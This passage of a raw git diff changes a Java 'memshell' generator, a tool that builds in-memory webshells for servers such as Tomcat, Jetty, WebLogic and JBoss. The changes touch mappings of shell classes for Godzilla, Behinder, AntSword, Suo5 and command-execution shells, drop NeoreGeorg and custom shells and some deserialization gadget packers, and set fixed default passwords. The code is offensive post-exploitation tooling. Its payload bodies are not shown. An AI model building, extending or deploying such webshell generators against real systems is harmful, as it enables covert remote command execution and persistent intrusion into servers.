.injectorClassName(injectorConfig.getInjectorClassName())
|
.injectorClassName(injectorConfig.getInjectorClassName())
|
||||||
.injectorBytes(injectorBytes)
|
.injectorBytes(injectorBytes)
|
||||||
.injectorInnerClassBytes(innerClassBytes)
|
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -78,10 +69,6 @@ public class MemShellGenerator {
|
|||||||
return new Suo5Generator(shellConfig, ((Suo5Config) shellToolConfig)).getBytes();
|
return new Suo5Generator(shellConfig, ((Suo5Config) shellToolConfig)).getBytes();
|
||||||
case AntSword:
|
case AntSword:
|
||||||
return new AntSwordGenerator(shellConfig, (AntSwordConfig) shellToolConfig).getBytes();
|
return new AntSwordGenerator(shellConfig, (AntSwordConfig) shellToolConfig).getBytes();
|
||||||
case NeoreGeorg:
|
|
||||||
return new NeoreGeorgGenerator(shellConfig, (NeoreGeorgConfig) shellToolConfig).getBytes();
|
|
||||||
case Custom:
|
|
||||||
return new CustomShellGenerator(shellConfig, (CustomConfig) shellToolConfig).getBytes();
|
|
||||||
default:
|
default:
|
||||||
throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool());
|
throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool());
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -103,8 +103,6 @@ public enum Packers {
|
|||||||
JavaCommonsBeanutils17(new CommonsBeanutils18Packer(), JavaDeserializePacker.class),
|
JavaCommonsBeanutils17(new CommonsBeanutils18Packer(), JavaDeserializePacker.class),
|
||||||
JavaCommonsBeanutils16(new CommonsBeanutils16Packer(), JavaDeserializePacker.class),
|
JavaCommonsBeanutils16(new CommonsBeanutils16Packer(), JavaDeserializePacker.class),
|
||||||
JavaCommonsBeanutils110(new CommonsBeanutils110Packer(), JavaDeserializePacker.class),
|
JavaCommonsBeanutils110(new CommonsBeanutils110Packer(), JavaDeserializePacker.class),
|
||||||
JavaCommonsCollections3(new CommonsCollections3Packer(), JavaDeserializePacker.class),
|
|
||||||
JavaCommonsCollections4(new CommonsCollections4Packer(), JavaDeserializePacker.class),
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Hessian 反序列化打包器
|
* Hessian 反序列化打包器
|
||||||
|
|||||||
@@ -9,16 +9,10 @@ import com.reajason.javaweb.memshell.shelltool.behinder.jetty.BehinderHandlerAdv
|
|||||||
import com.reajason.javaweb.memshell.shelltool.behinder.undertow.BehinderServletInitialHandlerAdvisor;
|
import com.reajason.javaweb.memshell.shelltool.behinder.undertow.BehinderServletInitialHandlerAdvisor;
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.*;
|
import com.reajason.javaweb.memshell.shelltool.command.*;
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.jetty.CommandHandlerAdvisor;
|
import com.reajason.javaweb.memshell.shelltool.command.jetty.CommandHandlerAdvisor;
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.jetty.CommandHandlerAsmMethodVisitor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.undertow.CommandServerInitialHandlerAsmMethodVisitor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.undertow.CommandServletInitialHandlerAdvisor;
|
import com.reajason.javaweb.memshell.shelltool.command.undertow.CommandServletInitialHandlerAdvisor;
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.*;
|
import com.reajason.javaweb.memshell.shelltool.godzilla.*;
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.jetty.GodzillaHandlerAdvisor;
|
import com.reajason.javaweb.memshell.shelltool.godzilla.jetty.GodzillaHandlerAdvisor;
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.undertow.GodzillaServletInitialHandlerAdvisor;
|
import com.reajason.javaweb.memshell.shelltool.godzilla.undertow.GodzillaServletInitialHandlerAdvisor;
|
||||||
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgListener;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgServlet;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgValve;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Listener;
|
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Listener;
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
|
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
|
||||||
@@ -40,11 +34,10 @@ import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderInterceptor;
|
|||||||
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderServletAdvisor;
|
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderServletAdvisor;
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.command.CommandControllerHandler;
|
import com.reajason.javaweb.memshell.springwebmvc.command.CommandControllerHandler;
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.command.CommandInterceptor;
|
import com.reajason.javaweb.memshell.springwebmvc.command.CommandInterceptor;
|
||||||
|
import com.reajason.javaweb.memshell.springwebmvc.command.CommandServletAdvisor;
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaControllerHandler;
|
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaControllerHandler;
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaInterceptor;
|
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaInterceptor;
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaServletAdvisor;
|
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaServletAdvisor;
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.neoreg.NeoreGeorgControllerHandler;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.neoreg.NeoreGeorgInterceptor;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5ControllerHandler;
|
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5ControllerHandler;
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5Interceptor;
|
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5Interceptor;
|
||||||
import lombok.Getter;
|
import lombok.Getter;
|
||||||
@@ -67,7 +60,7 @@ public enum Server {
|
|||||||
*/
|
*/
|
||||||
Jetty(new JettyShell()),
|
Jetty(new JettyShell()),
|
||||||
/**
|
/**
|
||||||
* JBoss AS 中间件,JBoss 6.4-EAP 也使用的当前方式 <a href="https://jbossas.jboss.org/downloads">JBoss AS</a>
|
* JBoss AS 中间件, JBoss 6.4-EAP 也使用的当前方式 <a href="https://jbossas.jboss.org/downloads">JBoss AS</a>
|
||||||
*/
|
*/
|
||||||
JBossAS(new JbossShell()),
|
JBossAS(new JbossShell()),
|
||||||
JBossEAP6(new JbossShell()),
|
JBossEAP6(new JbossShell()),
|
||||||
@@ -100,7 +93,7 @@ public enum Server {
|
|||||||
WebLogic(new WebLogicShell()),
|
WebLogic(new WebLogicShell()),
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Resin 中间件,<a href="https://caucho.com/products/resin/download">Resin</a>
|
* Resin 中间件, <a href="https://caucho.com/products/resin/download">Resin</a>
|
||||||
*/
|
*/
|
||||||
Resin(new ResinShell()),
|
Resin(new ResinShell()),
|
||||||
|
|
||||||
@@ -134,7 +127,8 @@ public enum Server {
|
|||||||
/**
|
/**
|
||||||
* XXL-JOB
|
* XXL-JOB
|
||||||
*/
|
*/
|
||||||
XXLJOB(new XxlJobShell());
|
XXLJOB(new XxlJobShell())
|
||||||
|
;
|
||||||
|
|
||||||
private final AbstractShell shell;
|
private final AbstractShell shell;
|
||||||
|
|
||||||
@@ -143,6 +137,34 @@ public enum Server {
|
|||||||
}
|
}
|
||||||
|
|
||||||
static {
|
static {
|
||||||
|
addToolMapping(ShellTool.Command, ToolMapping.builder()
|
||||||
|
.addShellClass(SERVLET, CommandServlet.class)
|
||||||
|
.addShellClass(JAKARTA_SERVLET, CommandServlet.class)
|
||||||
|
.addShellClass(FILTER, CommandFilter.class)
|
||||||
|
.addShellClass(JAKARTA_FILTER, CommandFilter.class)
|
||||||
|
.addShellClass(LISTENER, CommandListener.class)
|
||||||
|
.addShellClass(JAKARTA_LISTENER, CommandListener.class)
|
||||||
|
.addShellClass(VALVE, CommandValve.class)
|
||||||
|
.addShellClass(JAKARTA_VALVE, CommandValve.class)
|
||||||
|
.addShellClass(WEBSOCKET, CommandWebSocket.class)
|
||||||
|
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, CommandControllerHandler.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, CommandServletAdvisor.class)
|
||||||
|
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, CommandWebFilter.class)
|
||||||
|
.addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, CommandHandlerMethod.class)
|
||||||
|
.addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, CommandHandlerFunction.class)
|
||||||
|
.addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
|
||||||
|
.addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class)
|
||||||
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class)
|
||||||
|
.addShellClass(JETTY_AGENT_HANDLER, CommandHandlerAdvisor.class)
|
||||||
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandServletInitialHandlerAdvisor.class)
|
||||||
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, CommandFilterChainAdvisor.class)
|
||||||
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, CommandFilterChainAdvisor.class)
|
||||||
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
|
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
|
||||||
.addShellClass(SERVLET, GodzillaServlet.class)
|
.addShellClass(SERVLET, GodzillaServlet.class)
|
||||||
.addShellClass(JAKARTA_SERVLET, GodzillaServlet.class)
|
.addShellClass(JAKARTA_SERVLET, GodzillaServlet.class)
|
||||||
@@ -191,57 +213,6 @@ public enum Server {
|
|||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, BehinderFilterChainAdvisor.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, BehinderFilterChainAdvisor.class)
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
|
|
||||||
.addShellClass(SERVLET, AntSwordServlet.class)
|
|
||||||
.addShellClass(FILTER, AntSwordFilter.class)
|
|
||||||
.addShellClass(LISTENER, AntSwordListener.class)
|
|
||||||
.addShellClass(VALVE, AntSwordValve.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, AntSwordInterceptor.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, AntSwordControllerHandler.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, AntSwordServletAdvisor.class)
|
|
||||||
.addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class)
|
|
||||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, AntSwordFilterChainAdvisor.class)
|
|
||||||
.addShellClass(JETTY_AGENT_HANDLER, AntSwordHandlerAdvisor.class)
|
|
||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordServletInitialHandlerAdvisor.class)
|
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSwordFilterChainAdvisor.class)
|
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSwordFilterChainAdvisor.class)
|
|
||||||
.build());
|
|
||||||
|
|
||||||
addToolMapping(ShellTool.Command, ToolMapping.builder()
|
|
||||||
.addShellClass(SERVLET, CommandServlet.class)
|
|
||||||
.addShellClass(JAKARTA_SERVLET, CommandServlet.class)
|
|
||||||
.addShellClass(FILTER, CommandFilter.class)
|
|
||||||
.addShellClass(JAKARTA_FILTER, CommandFilter.class)
|
|
||||||
.addShellClass(LISTENER, CommandListener.class)
|
|
||||||
.addShellClass(JAKARTA_LISTENER, CommandListener.class)
|
|
||||||
.addShellClass(VALVE, CommandValve.class)
|
|
||||||
.addShellClass(JAKARTA_VALVE, CommandValve.class)
|
|
||||||
.addShellClass(WEBSOCKET, CommandWebSocket.class)
|
|
||||||
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, CommandControllerHandler.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, CommandFilterChainAdvisor.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM, CommandFilterChainAsmMethodVisitor.class)
|
|
||||||
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, CommandWebFilter.class)
|
|
||||||
.addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, CommandHandlerMethod.class)
|
|
||||||
.addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, CommandHandlerFunction.class)
|
|
||||||
.addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
|
|
||||||
.addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class)
|
|
||||||
.addShellClass(AGENT_FILTER_CHAIN_ASM, CommandFilterChainAsmMethodVisitor.class)
|
|
||||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class)
|
|
||||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE_ASM, CommandFilterChainAsmMethodVisitor.class)
|
|
||||||
.addShellClass(JETTY_AGENT_HANDLER, CommandHandlerAdvisor.class)
|
|
||||||
.addShellClass(JETTY_AGENT_HANDLER_ASM, CommandHandlerAsmMethodVisitor.class)
|
|
||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandServletInitialHandlerAdvisor.class)
|
|
||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER_ASM, CommandServerInitialHandlerAsmMethodVisitor.class)
|
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, CommandFilterChainAdvisor.class)
|
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM, CommandFilterChainAsmMethodVisitor.class)
|
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, CommandFilterChainAdvisor.class)
|
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER_ASM, CommandFilterChainAsmMethodVisitor.class)
|
|
||||||
.build());
|
|
||||||
|
|
||||||
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
|
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
|
||||||
.addShellClass(SERVLET, Suo5Servlet.class)
|
.addShellClass(SERVLET, Suo5Servlet.class)
|
||||||
.addShellClass(JAKARTA_SERVLET, Suo5Servlet.class)
|
.addShellClass(JAKARTA_SERVLET, Suo5Servlet.class)
|
||||||
@@ -258,19 +229,20 @@ public enum Server {
|
|||||||
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, Suo5WebFilter.class)
|
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, Suo5WebFilter.class)
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder()
|
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
|
||||||
.addShellClass(SERVLET, NeoreGeorgServlet.class)
|
.addShellClass(SERVLET, AntSwordServlet.class)
|
||||||
.addShellClass(JAKARTA_SERVLET, NeoreGeorgServlet.class)
|
.addShellClass(FILTER, AntSwordFilter.class)
|
||||||
.addShellClass(FILTER, NeoreGeorgFilter.class)
|
.addShellClass(LISTENER, AntSwordListener.class)
|
||||||
.addShellClass(JAKARTA_FILTER, NeoreGeorgFilter.class)
|
.addShellClass(VALVE, AntSwordValve.class)
|
||||||
.addShellClass(LISTENER, NeoreGeorgListener.class)
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, AntSwordInterceptor.class)
|
||||||
.addShellClass(JAKARTA_LISTENER, NeoreGeorgListener.class)
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, AntSwordControllerHandler.class)
|
||||||
.addShellClass(VALVE, NeoreGeorgValve.class)
|
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, AntSwordServletAdvisor.class)
|
||||||
.addShellClass(JAKARTA_VALVE, NeoreGeorgValve.class)
|
.addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, NeoreGeorgInterceptor.class)
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, AntSwordFilterChainAdvisor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, NeoreGeorgInterceptor.class)
|
.addShellClass(JETTY_AGENT_HANDLER, AntSwordHandlerAdvisor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordServletInitialHandlerAdvisor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSwordFilterChainAdvisor.class)
|
||||||
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSwordFilterChainAdvisor.class)
|
||||||
.build());
|
.build());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -10,35 +10,25 @@ public enum ShellTool {
|
|||||||
*/
|
*/
|
||||||
Godzilla,
|
Godzilla,
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 命令回显
|
||||||
|
*/
|
||||||
|
Command,
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 冰蝎
|
* 冰蝎
|
||||||
*/
|
*/
|
||||||
Behinder,
|
Behinder,
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Suo5 隧道代理
|
||||||
|
*/
|
||||||
|
Suo5,
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 蚁剑
|
* 蚁剑
|
||||||
*/
|
*/
|
||||||
AntSword,
|
AntSword,
|
||||||
|
|
||||||
/**
|
|
||||||
* 命令回显
|
|
||||||
*/
|
|
||||||
Command,
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Suo5 隧道代理 <a href="https://github.com/zema1/suo5">zema1/suo5</a>
|
|
||||||
*/
|
|
||||||
Suo5,
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Neo-reGeorg <a href="https://github.com/L-codes/Neo-reGeorg">L-codes/Neo-reGeorg</a>
|
|
||||||
*/
|
|
||||||
NeoreGeorg,
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 自定义
|
|
||||||
*/
|
|
||||||
Custom,
|
|
||||||
|
|
||||||
;
|
;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -19,27 +19,19 @@ public class ShellType {
|
|||||||
public static final String NETTY_HANDLER = "NettyHandler";
|
public static final String NETTY_HANDLER = "NettyHandler";
|
||||||
|
|
||||||
public static final String AGENT = "Agent";
|
public static final String AGENT = "Agent";
|
||||||
public static final String ASM = "ASM";
|
|
||||||
|
|
||||||
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
|
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
|
||||||
public static final String AGENT_FILTER_CHAIN_ASM = AGENT + "FilterChain" + ASM;
|
|
||||||
public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
|
public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
|
||||||
public static final String CATALINA_AGENT_CONTEXT_VALVE_ASM = AGENT + "ContextValve" + ASM;
|
|
||||||
public static final String JETTY_AGENT_HANDLER = AGENT + "Handler";
|
public static final String JETTY_AGENT_HANDLER = AGENT + "Handler";
|
||||||
public static final String JETTY_AGENT_HANDLER_ASM = AGENT + "Handler" + ASM;
|
|
||||||
public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
|
public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
|
||||||
public static final String UNDERTOW_AGENT_SERVLET_HANDLER_ASM = AGENT + "ServletHandler" + ASM;
|
|
||||||
public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
|
public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
|
||||||
public static final String WAS_AGENT_FILTER_MANAGER_ASM = AGENT + "FilterManager" + ASM;
|
|
||||||
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
|
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
|
||||||
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM = AGENT + "ServletContext" + ASM;
|
|
||||||
|
|
||||||
public static final String SPRING_WEBMVC_INTERCEPTOR = "Interceptor";
|
public static final String SPRING_WEBMVC_INTERCEPTOR = "Interceptor";
|
||||||
public static final String SPRING_WEBMVC_JAKARTA_INTERCEPTOR = "JakartaInterceptor";
|
public static final String SPRING_WEBMVC_JAKARTA_INTERCEPTOR = "JakartaInterceptor";
|
||||||
public static final String SPRING_WEBMVC_CONTROLLER_HANDLER = "ControllerHandler";
|
public static final String SPRING_WEBMVC_CONTROLLER_HANDLER = "ControllerHandler";
|
||||||
public static final String SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER = "JakartaControllerHandler";
|
public static final String SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER = "JakartaControllerHandler";
|
||||||
public static final String SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET = AGENT + "FrameworkServlet";
|
public static final String SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET = AGENT + "FrameworkServlet";
|
||||||
public static final String SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM = AGENT + "FrameworkServlet" + ASM;
|
|
||||||
|
|
||||||
public static final String SPRING_WEBFLUX_WEB_FILTER = "WebFilter";
|
public static final String SPRING_WEBFLUX_WEB_FILTER = "WebFilter";
|
||||||
public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod";
|
public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod";
|
||||||
|
|||||||
@@ -15,7 +15,7 @@ import lombok.experimental.SuperBuilder;
|
|||||||
@ToString
|
@ToString
|
||||||
public class AntSwordConfig extends ShellToolConfig {
|
public class AntSwordConfig extends ShellToolConfig {
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String pass = CommonUtil.getRandomString(8);
|
private String pass = "pass";
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String headerName = "User-Agent";
|
private String headerName = "User-Agent";
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
|
|||||||
@@ -15,7 +15,7 @@ import lombok.experimental.SuperBuilder;
|
|||||||
@ToString
|
@ToString
|
||||||
public class BehinderConfig extends ShellToolConfig {
|
public class BehinderConfig extends ShellToolConfig {
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String pass = CommonUtil.getRandomString(8);
|
private String pass = "pass";
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String headerName = "User-Agent";
|
private String headerName = "User-Agent";
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
|
|||||||
@@ -1,6 +1,5 @@
|
|||||||
package com.reajason.javaweb.memshell.config;
|
package com.reajason.javaweb.memshell.config;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
|
||||||
import lombok.Builder;
|
import lombok.Builder;
|
||||||
import lombok.Getter;
|
import lombok.Getter;
|
||||||
import lombok.ToString;
|
import lombok.ToString;
|
||||||
@@ -15,5 +14,5 @@ import lombok.experimental.SuperBuilder;
|
|||||||
@ToString
|
@ToString
|
||||||
public class CommandConfig extends ShellToolConfig {
|
public class CommandConfig extends ShellToolConfig {
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String paramName = CommonUtil.getRandomString(8);
|
private String paramName = "cmd";
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,20 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.config;
|
|
||||||
|
|
||||||
import lombok.AllArgsConstructor;
|
|
||||||
import lombok.Getter;
|
|
||||||
import lombok.NoArgsConstructor;
|
|
||||||
import lombok.ToString;
|
|
||||||
import lombok.experimental.SuperBuilder;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/2/12
|
|
||||||
*/
|
|
||||||
@Getter
|
|
||||||
@SuperBuilder
|
|
||||||
@NoArgsConstructor
|
|
||||||
@AllArgsConstructor
|
|
||||||
@ToString
|
|
||||||
public class CustomConfig extends ShellToolConfig {
|
|
||||||
private String shellClassBase64;
|
|
||||||
}
|
|
||||||
@@ -4,9 +4,7 @@ import lombok.AllArgsConstructor;
|
|||||||
import lombok.Builder;
|
import lombok.Builder;
|
||||||
import lombok.Data;
|
import lombok.Data;
|
||||||
import lombok.NoArgsConstructor;
|
import lombok.NoArgsConstructor;
|
||||||
|
import org.apache.commons.codec.binary.Base64;
|
||||||
import java.util.Base64;
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -23,7 +21,6 @@ public class GenerateResult {
|
|||||||
private String shellBytesBase64Str;
|
private String shellBytesBase64Str;
|
||||||
private String injectorClassName;
|
private String injectorClassName;
|
||||||
private transient byte[] injectorBytes;
|
private transient byte[] injectorBytes;
|
||||||
private transient Map<String, byte[]> injectorInnerClassBytes;
|
|
||||||
private long injectorSize;
|
private long injectorSize;
|
||||||
private String injectorBytesBase64Str;
|
private String injectorBytesBase64Str;
|
||||||
private ShellConfig shellConfig;
|
private ShellConfig shellConfig;
|
||||||
@@ -33,15 +30,15 @@ public class GenerateResult {
|
|||||||
public static class GenerateResultBuilder {
|
public static class GenerateResultBuilder {
|
||||||
public GenerateResult build() {
|
public GenerateResult build() {
|
||||||
if (shellBytes != null) {
|
if (shellBytes != null) {
|
||||||
shellBytesBase64Str = Base64.getEncoder().encodeToString(shellBytes);
|
shellBytesBase64Str = Base64.encodeBase64String(shellBytes);
|
||||||
shellSize = shellBytes.length;
|
shellSize = shellBytes.length;
|
||||||
}
|
}
|
||||||
if (injectorBytes != null) {
|
if (injectorBytes != null) {
|
||||||
injectorBytesBase64Str = Base64.getEncoder().encodeToString(injectorBytes);
|
injectorBytesBase64Str = Base64.encodeBase64String(injectorBytes);
|
||||||
injectorSize = injectorBytes.length;
|
injectorSize = injectorBytes.length;
|
||||||
}
|
}
|
||||||
return new GenerateResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str,
|
return new GenerateResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str,
|
||||||
injectorClassName, injectorBytes, injectorInnerClassBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
|
injectorClassName, injectorBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -15,9 +15,9 @@ import lombok.experimental.SuperBuilder;
|
|||||||
@ToString
|
@ToString
|
||||||
public class GodzillaConfig extends ShellToolConfig {
|
public class GodzillaConfig extends ShellToolConfig {
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String pass = CommonUtil.getRandomString(8);
|
private String pass = "pass";
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String key = CommonUtil.getRandomString(8);
|
private String key = "key";
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String headerName = "User-Agent";
|
private String headerName = "User-Agent";
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
|
|||||||
@@ -1,21 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.config;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
|
||||||
import lombok.*;
|
|
||||||
import lombok.experimental.SuperBuilder;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/2/28
|
|
||||||
*/
|
|
||||||
@Getter
|
|
||||||
@SuperBuilder
|
|
||||||
@NoArgsConstructor
|
|
||||||
